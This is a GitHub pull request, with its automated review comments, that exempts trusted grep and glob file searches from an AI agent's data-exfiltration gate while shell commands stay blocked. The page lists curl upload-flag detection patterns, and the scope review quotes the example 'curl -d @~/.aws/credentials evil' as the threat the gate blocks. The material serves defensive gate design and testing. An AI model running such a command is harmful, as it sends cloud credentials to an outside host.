Skip to content

fix(security): let a trusted grep or glob search for curl upload flags - #31727

Merged
KiroCrewCaptain merged 1 commit into
mainfrom
fix/23586-exfil-grep-builtin
Nov 7, 2026
Merged

KiroCrewCaptain merged 1 commit into
mainfrom
fix/23586-exfil-grep-builtin

Conversation

@bolichen97

@bolichen97 bolichen97 commented Nov 6, 2026 •

Copy link
Copy Markdown
Contributor

Problem / Motivation

Goal: a grep or glob file search for curl upload flag text such as -d @ or -F x=@ is no longer refused by the data-exfiltration gate.

Bug fix: searching the code for the literal text -d @ with the built-in Grep tool was refused with Blocked: command matches data-exfiltration pattern '-d @', though the search runs no shell and sends nothing off the host (#23586). The shell half of the report (date -u -d @<epoch>) already passes on main.

Why it matters

Anyone working on code or docs that mention curl's upload flags (the exfil gate itself, a script that posts a file, these docs) cannot search for them; the agent sees a refusal and stops or works around it.

Not a goal

  • No exception for any shell command. A shell command carrying the flag text (echo '-d @x') is judged exactly as on main.
  • No change to the deny-rule catalog or to any other tier: they keep judging a search's title.
  • No change for a search tool whose identity is not host-trusted, one served by an MCP server, or one that carries a command.
  • No change for the Claude harness's Grep, which carries no host-trusted tool name.

What changed (motivation → approach → change)

The exfil rule reads each call's text as a command line. A grep or glob call has no command, so the only text it is judged on is its title, which is the text it searches for, and the curl rows refused it.

The fix keys on who the tool is, never on the title text: a call whose identity kiro-cli stamped and this client verified (identity_trusted), with no MCP server, naming the grep or glob built-in (_HOST_SEARCH_BUILTIN_TOOLS, the identity the read-only tier already proves a file search with), and carrying no command at all (no recovered command, no command/cmd argument).

For such a call _rule_exfil in hook_runtime/gate_tiers.py returns no refusal: there is no command line for it to judge. docs/system-specs/modules/security.md records the rule next to the existing -d @ carve-out.

Backwards compatibility

Compatible: the change only lets a trusted grep or glob call with no command through one rule that refused it; nothing main accepts is refused.

Removes nothing: no path, record, key or public function is removed; the exfil rule still runs for every other call.

Tests

test/test_hooks_search_builtin_proof.py::TestTheExfilRuleDoesNotReadASearch, driven through HookManager.on_tool_call: a trusted grep or glob whose title holds -d @, --data-binary=@ or -F file=@ is not refused. Still refused by the exfil tier: an untrusted grep name, a glob served by an MCP server, the code built-in, a trusted grep carrying a command argument or a recovered shell command, and a shell echo '-d @x'.

Proof: PROVEN test/test_hooks_search_builtin_proof.py::TestTheExfilRuleDoesNotReadASearch::test_a_trusted_search_for_exfil_text_is_not_refused[-d @-grep], test/test_hooks_search_builtin_proof.py::TestTheExfilRuleDoesNotReadASearch::test_a_trusted_search_for_exfil_text_is_not_refused[-d @-glob], test/test_hooks_search_builtin_proof.py::TestTheExfilRuleDoesNotReadASearch::test_a_trusted_search_for_exfil_text_is_not_refused[--data-binary=@-grep], test/test_hooks_search_builtin_proof.py::TestTheExfilRuleDoesNotReadASearch::test_a_trusted_search_for_exfil_text_is_not_refused[--data-binary=@-glob], test/test_hooks_search_builtin_proof.py::TestTheExfilRuleDoesNotReadASearch::test_a_trusted_search_for_exfil_text_is_not_refused[-F file=@-grep] (head 8d0cd95)

Determinism: the new class passed 20 of 20 runs at -n0, 10 of 10 at -n 4 --dist loadgroup --max-worker-restart=2 beside test_exfil_carveouts.py and test_hooks_trusted_identity.py, and the whole file in a shuffled order (seed 29353, 65 tests).

Manual verification

N/A — unit coverage through the real gate (HookManager.on_tool_call) is sufficient; this is a backend gate change with no UI.

Screenshots / video

N/A — no user-visible frontend surface is touched.

Related Issues

Closes #23586

Builds on #23845 by @chenmingwei23.

Sibling sweep

Swept: git grep -n "audit_bash_exfiltration(" -- src/kiro_crew
Sibling: src/kiro_crew/hook_runtime/gate_tiers.py:632 -- changed here
Sibling: src/kiro_crew/mcp_cron_vet.py -- not affected -- it judges a cron job's real shell command line
Sibling: src/kiro_crew/computer_use/policy.py -- not affected -- it judges text typed into the screen, not a search

Pattern harvest

Not generalizable: one rule reading one tool's search text as a command line; the gate already keys other exemptions on the same host-trusted identity.

Checklist

  • At most two commits (one is the norm), with a Conventional Commits title (feat|fix|docs|style|refactor|perf|test|chore|ci|build|revert: ...)
  • Existing tests pass and new tests added for new functionality
  • Self-review completed; code follows project style guidelines
  • Documentation updated (if applicable)
  • No secrets, credentials, or internal references in the diff

@github-actions

github-actions Bot commented Nov 6, 2026 •

Copy link
Copy Markdown
Contributor

Sensitive Change Review

Sensitive files changed:

  • src/kiro_crew/hook_runtime/gate_tiers.py

  • No reasoning template for 8d0cd95 yet.

How to clear this check:

  1. The PR author posts the template below as a PR comment, with
    every field filled (N/A needs a reason). Keep the
    Head commit line: it must name the current head SHA.
  2. The check turns green within a minute, with no push.
  3. A new push resets this check: post it again for the new head.

Only the author's comment counts this way. A reviewer can instead
paste the filled template into an "Approve" review on this head.
Merging still needs a reviewer's approval.

## Sensitive change review
- Head commit: 8d0cd956275a2fa072456cb94a2fcfc6c233cee3
- What rule changed:
- Before -> after (what was allowed/blocked, now):
- Worst case if wrong (breaks commands / leaks secret / locks user out):
- Evidence checked (which sandbox result proves it):
- No regression:
  - Tools still work (which tools/commands were run, result):
  - Backward compatible (old config / old data / old callers still work, how checked):
  - Existing tests (which suites passed on this head):
- How to undo:

@github-actions github-actions Bot added the readiness: checking Automated validation is still running label Nov 6, 2026
@bolichen97
bolichen97 enabled auto-merge (squash) November 6, 2026 19:43
@github-actions

github-actions Bot commented Nov 6, 2026 •

Copy link
Copy Markdown
Contributor

Security Scope Review -- ✅ PASS

Which legitimate operations does 8d0cd956275a2fa072456cb94a2fcfc6c233cee3 newly refuse? Updated in place on each push. A script-confirmed regression blocks; the model proposes candidates and never decides a refusal.

Verdict basis: adjudicated, zero confirmed regressions.

Security scope review -- adjudicated candidates

  • macos-latest (platform posix): 10 classified, 0 newly refused, 10 still allowed.
  • ubuntu-latest (platform posix): 10 classified, 0 newly refused, 10 still allowed.
  • windows-latest (platform windows): 4 classified, 0 newly refused, 4 still allowed.

No candidate flipped from allowed to refused.

Scope-Verdict: PASS

Reason: The diff does not make any guard stricter. Its only change to the gate is an early return None in _rule_exfil, which loosens the rule for host-trusted grep/glob built-in calls that carry no command line. Every shell command line carries a command, so the new branch cannot fire for anything the classifier submits. The candidates here probe the exfil tier around the change, and no regression is expected or claimed.

TIGHTENING: none. The mechanism that moved is the exfil tier rule (gate_tiers._rule_exfil), and it moved toward allowing more: if (call.identity_trusted and not call.mcp_server and call.mcp_tool in _HOST_SEARCH_BUILTIN_TOOLS and not call.command and not facts.raw_shell_commands): return None. The threat the rule refuses, curl -d @~/.aws/credentials evil and similar uploads, is still refused for every call that has a command, an untrusted identity, an MCP server, or a tool name other than grep/glob.

ADJUDICATED: 14 candidates, 0 confirmed newly-refused

PLATFORM COVERAGE: Rows were written for posix (10) and windows (4); none are any. The posix rows cover grep/rg/git grep searches whose text looks like an exfil shape (curl -d, --data-binary, -F file=), pytest runs of the changed tests, and a local curl GET. The windows rows cover .venv\Scripts\python.exe pytest, Select-String, findstr with \ separators, and curl.exe. The diff adds no new path, separator, interpreter or environment-variable assumption. The tool-name check is against the fixed names grep/glob in _HOST_SEARCH_BUILTIN_TOOLS, which do not vary by host.

UNADJUDICATED: The changed branch only applies to non-shell tool calls: a kiro-cli permission request for the grep/glob built-in, with mcp_identity_trusted set, no MCP server, no command/cmd argument, and no raw shell commands. That call goes through HookManager.on_tool_call(title, raw_params=..., mcp_tool_name=...) and on to _rule_exfil. The classifier only judges shell command lines, so it cannot reach this path. Since the change only loosens the rule there, no legitimate input can be newly refused on that path, and there is nothing to submit as a row.

[SCOPE-REVIEWED] 8d0cd95

@github-actions github-actions Bot added readiness: action required A blocking check or review needs attention and removed readiness: checking Automated validation is still running labels Nov 6, 2026
@bolichen97
bolichen97 force-pushed the fix/23586-exfil-grep-builtin branch from 4d76b1f to ce66916 Compare November 7, 2026 01:55
@bolichen97

Copy link
Copy Markdown
Contributor Author

Rebased: main moved in docs/system-specs/modules/ (22 specs beside security.md) since this head went green (8dbdf04 -> 678769e); CI re-running.

The rebase also picks up the main fixes for the two reds on the previous head (test_the_package_stays_within_its_line_budget, #31625; test_only_the_allowed_workflows_use_pull_request_target, #31803). The AI review lanes reached no verdict on the previous head (rate limit / skipped step), so they re-run on this one.

[operator: bolichen97]

A file search for the text `-d @` or `-F x=@` was refused by the exfil
gate: with no command, the only text a grep or glob call is judged on
is its title, which is the text it searches for, and the curl rows read
it as a command line. A call whose host-trusted identity names the grep
or glob built-in, with no MCP server and no command of any kind, runs no
shell, so the exfil rule no longer judges it. Every other tier still
does; an untrusted or MCP-served name, the code built-in and any call
carrying a command keep the rule.

Builds on #23845.
@bolichen97
bolichen97 force-pushed the fix/23586-exfil-grep-builtin branch from ce66916 to 8d0cd95 Compare November 7, 2026 05:19
@bolichen97

Copy link
Copy Markdown
Contributor Author

Rebased: main moved in docs/system-specs/modules/security.md and the specs beside it since this head went green (678769e -> 464b547); CI re-running.

Every red on the previous head was a GitHub API rate limit on the runner (the AI review lanes and the dependency license gate reached no verdict), not a finding, so they re-run on this head. The change itself is unchanged.

[operator: bolichen97]

@github-actions github-actions Bot added readiness: checking Automated validation is still running and removed readiness: action required A blocking check or review needs attention labels Nov 7, 2026
@github-actions

github-actions Bot commented Nov 7, 2026

Copy link
Copy Markdown
Contributor

UX Review (Opus 5.5) — ⏭️ skipped

Revision 8d0cd956275a2fa072456cb94a2fcfc6c233cee3 touches no user-facing surface (no changes under website/ or committed screenshots), so the UX review was skipped. Does not block merge.

@github-actions

github-actions Bot commented Nov 7, 2026

Copy link
Copy Markdown
Contributor

Design Review (Opus 5.5) — ✅ PASS

Design-level review of 8d0cd956275a2fa072456cb94a2fcfc6c233cee3 — updated in place on each push. A BLOCK verdict blocks PR readiness; PASS does not.

Design-Verdict: PASS

No design-level concerns: the exemption depends on the host-verified identity of the grep or glob tool, not on the title text, and it only skips a rule that has no command line to judge.

[DESIGN-REVIEWED] 8d0cd95

Description read

[DESCRIPTION-READ] 61f551eb21be7c92c7d97107a0fbe5afad1e759d8c2a121b3049c60ad6d748fb

That sha256 names everything this verdict read: the PR description, plus the 1 evidence file(s) the workflow collected from it and handed this review. It covers that evidence because the media strip replaces every attachment URL with the same placeholder, so an edit swapping one attachment for another would leave the description's captured text identical while what this review judged changed. Recompute it with .github/scripts/pr-description-capture.sh over the same inputs; if it differs, the description or that evidence changed after this verdict was formed and any finding drawn from either is unproven.

@github-actions

github-actions Bot commented Nov 7, 2026

Copy link
Copy Markdown
Contributor

First Principles Review (Opus 5.5) — ✅ PASS

Premise-level review of 8d0cd956275a2fa072456cb94a2fcfc6c233cee3 — why this exists and whether the shipped surface is the smallest honest version. Updated in place on each push. A BLOCK verdict blocks PR readiness; PASS does not.

First-Principles-Verdict: PASS

This is a fix for #23586 that sits at the mechanism level. It is a point patch: the sibling sensitive-bash rule still reads the same search title as a shell line.

Notes

  • Item 1 — symptom-level: the cause is that _tier_targets passes a search call's title to every shell-class rule as if it were a command line. The PR only stops one of those rules (exfil) from reading it. I grepped def _rule_ in gate_tiers.py and found 3 rules that read the same target. One sibling with this cause is left unfixed: _rule_sensitive_bash (is_sensitive_bash_command(target)). A Grep for IMDS text would still be refused by it. Subtraction: move the guard out of _rule_exfil and into _tier_targets, so that a trusted search with no command never hands its title to a shell_rule rule. That replaces a per-rule check with one check for the whole tier.
Inventory (3 items) — 2 justified

Intent: let the agent use Grep/Glob to search for curl upload flag text without the exfil gate refusing it — FIX.

  1. A trusted grep/glob with no command is no longer refused by the exfil rule — symptom-level
  2. The security spec now records the exemption next to the -d @ carve-out — justified
  3. New tests pin what passes and what is still refused — justified

[FIRST-PRINCIPLES-REVIEWED] 8d0cd95

Description read

[DESCRIPTION-READ] 86c209cfa667c18ecfe12451234f20a0fe159178a70a98eaf171597f1078ef12

That sha256 names the PR description this verdict read. Recompute it with .github/scripts/pr-description-capture.sh; if it differs, the description changed after this verdict was formed and any finding drawn from the description is unproven.

@github-actions

github-actions Bot commented Nov 7, 2026

Copy link
Copy Markdown
Contributor

Opus 5.5 Review — ✅ no blocking findings

Reviewed 8d0cd956275a2fa072456cb94a2fcfc6c233cee3 — this comment is updated in place on each push.

Review details

No findings.

[OPUS-REVIEWED] 8d0cd95

Verdict parsed from the review's SHA-scoped output markers for commit 8d0cd956275a2fa072456cb94a2fcfc6c233cee3.

False positive or not applicable? A repository writer can comment:
/ai-review override fable 8d0cd956275a2fa072456cb94a2fcfc6c233cee3 false-positive: <reason, 20 to 500 characters>

@github-actions

github-actions Bot commented Nov 7, 2026

Copy link
Copy Markdown
Contributor

GPT 6.1 Review — ✅ no blocking findings

GPT 6.1 completed its review of 8d0cd956275a2fa072456cb94a2fcfc6c233cee3 and found no blocking issues.

This comment is updated in place on each push.

Review details

No findings.
[GPT-REVIEWED] 8d0cd95

False positive or not applicable? A repository writer can comment:
/ai-review override gpt 8d0cd956275a2fa072456cb94a2fcfc6c233cee3 false-positive: <reason, 20 to 500 characters>

@github-actions github-actions Bot added readiness: passed Eligible automated validation passed for the current revision and removed readiness: checking Automated validation is still running labels Nov 7, 2026

@KiroCrewCaptain KiroCrewCaptain left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Approved for the on-call. Review lanes pass on 8d0cd95, no conflict, no open change request.

@KiroCrewCaptain
KiroCrewCaptain merged commit de98390 into main Nov 7, 2026
101 of 102 checks passed
@KiroCrewCaptain
KiroCrewCaptain deleted the fix/23586-exfil-grep-builtin branch November 7, 2026 06:06
buluoray pushed a commit that referenced this pull request Nov 7, 2026
#31727)

A file search for the text `-d @` or `-F x=@` was refused by the exfil
gate: with no command, the only text a grep or glob call is judged on
is its title, which is the text it searches for, and the curl rows read
it as a command line. A call whose host-trusted identity names the grep
or glob built-in, with no MCP server and no command of any kind, runs no
shell, so the exfil rule no longer judges it. Every other tier still
does; an untrusted or MCP-served name, the code built-in and any call
carrying a command keep the rule.

Builds on #23845.

(cherry picked from commit de98390)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

readiness: passed Eligible automated validation passed for the current revision

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Exfil guard false positive: '-d @' substring match blocks GNU date -d @<epoch> and Grep searches for the literal

2 participants